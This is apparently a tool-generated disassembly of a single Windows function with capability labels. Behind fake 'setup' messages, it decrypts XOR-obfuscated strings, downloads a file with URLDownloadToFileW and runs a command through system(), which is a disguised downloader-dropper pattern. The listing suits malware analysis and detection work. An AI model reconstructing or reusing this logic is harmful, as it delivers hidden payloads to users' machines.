Function at 0x140001700
Capabilities:
Download url
Execute command
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
sub rsp, 0x1c0
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0x160], rax
xor esi, esi
lea rdx, [0x1400075a8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004700
lea rdx, str.e_94m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004700
mov rcx, rax
lea rdx, [0x1400075a4]
call fcn.140004700
mov rcx, rax
lea rdx, str.e_0m
call fcn.140004700
lea rdx, str.__Setting_up_some_stuff.._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004700
movabs rax, 0x57ac7ab56026df7b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0x15c6817a24c0d1a4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0x54cec47c62be6b78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0x44afee2e0398ba7c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
movabs rax, 0x6ce4ea4f81437ecf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
movabs rax, 0xc9d6a7d2251a8dc5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0x88e1870e9bb49a33
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
movabs rcx, 0xaca33cd555818876
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
movabs r14, 0x788340c61052ab13
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rdi, 0x67a5f21340eebdc0
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs rax, 0x31bca51411ca0e1d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
movabs rax, 0x7c99d8016ef7d952
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
movabs rax, 0x5c87d37ab42148f7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rax, 0xa8b096e71c2bbef4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs rax, 0x88e18738ac86fb51
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x120]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x140]
vmovdqa ymmword [rbp + 0xe0], ymm1
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0xa0]
vzeroupper
call fcn.1400040e0
nop
movabs r15, 0x788334be647cc27b
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x20]
call fcn.1400040e0
nop
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x80]
call fcn.140001340
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140001a06
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a01
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001e48
call fcn.14000548c
movdqa xmm0, xmmword [0x140007d10]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], 0
lea r8, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova r8, qword [rbp + 0xa0]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
mov r9d, dword [rbp + 0xb0]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x70], xmm1
mov r8, rbx
lea rcx, [rbp + 0x60]
call fcn.140004c40
lea rcx, [rbp + 0x60]
cmp qword [rbp + 0x78], 7
cmova rcx, qword [rbp + 0x60]
lea r8, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova r8, qword [rbp + 0xa0]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rcx
mov r9d, dword [rbp + 0xb0]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
nop
lea r8, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova r8, qword [rbp + 0x80]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
mov r9d, dword [rbp + 0x90]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x50], xmm1
mov r8, rbx
lea rcx, [rbp + 0x40]
call fcn.140004c40
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 7
cmova rdx, qword [rbp + 0x40]
lea r8, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova r8, qword [rbp + 0x80]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdx
mov r9d, dword [rbp + 0x90]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
nop
lea r8, [rbp + 0x40]
cmp qword [rbp + 0x58], 7
cmova r8, qword [rbp + 0x40]
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 7
cmova rdx, qword [rbp + 0x60]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rdx, [0x1400075dc]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test eax, eax
jne 0x140001f38
call fcn.140004700
lea rdx, str.e_94m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004700
mov rcx, rax
lea rdx, [0x1400075a4]
call fcn.140004700
mov rcx, rax
lea rdx, str.e_0m
call fcn.140004700
lea rdx, str.__Setup_finished.._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004700
mov qword [rbp], 1
lea rcx, [rbp]
call fcn.1400048f0
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x120]
call fcn.1400040e0
nop
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0xc0]
call fcn.140001340
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x140001c8a
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001d4c
call fcn.14000548c
movdqa xmm0, xmmword [0x140007d10]
movdqu xmmword [rbp + 0x130], xmm0
mov byte [rbp + 0x120], 0
movabs rax, 0x788360b26233df60
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x10], xmm0
lea r8, [rbp + 0xc0]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x20]
call fcn.1400045a0
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rcx, qword [rbp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140001d58
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001d53
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000548c
movdqa xmm0, xmmword [0x140007d10]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x140001db5
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001da8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001da8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000548c
movdqa xmm0, xmmword [0x140007d10]
mov rdx, qword [rbp + 0x58]
cmp rdx, 7
jbe 0x140001e00
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001df3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001df3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000548c
movdqa xmm0, xmmword [0x140007d10]
movdqa xmm1, xmmword [0x140007d00]
movdqu xmmword [rbp + 0x50], xmm1
mov word [rbp + 0x40], si
mov rdx, qword [rbp + 0x78]
cmp rdx, 7
jbe 0x140001e64
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e4f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000548c
movdqa xmm0, xmmword [0x140007d10]
movdqa xmm1, xmmword [0x140007d00]
movdqu xmmword [rbp + 0x70], xmm1
mov word [rbp + 0x60], si
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x140001eb9
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001eac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001eac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000548c
movdqa xmm0, xmmword [0x140007d10]
movdqu xmmword [rbp + 0x90], xmm0
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x140001f0c
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f07
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f07
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000548c
mov rcx, qword [rbp + 0x160]
xor rcx, rsp
call fcn.140005430
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140004700
nop
lea rdx, str.e_30m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004700
mov rcx, rax
lea rdx, [0x1400075a4]
call fcn.140004700
mov rcx, rax
lea rdx, str.e_0m
call fcn.140004700
lea rdx, str.__Failed_to_finish_set_up__Closing_in_3_seconds.._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004700
mov dword [rbp], 3
lea rdx, [rbp]
lea rcx, [rbp + 0x10]
call fcn.1400048e0
mov rcx, rax
call fcn.1400048f0
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]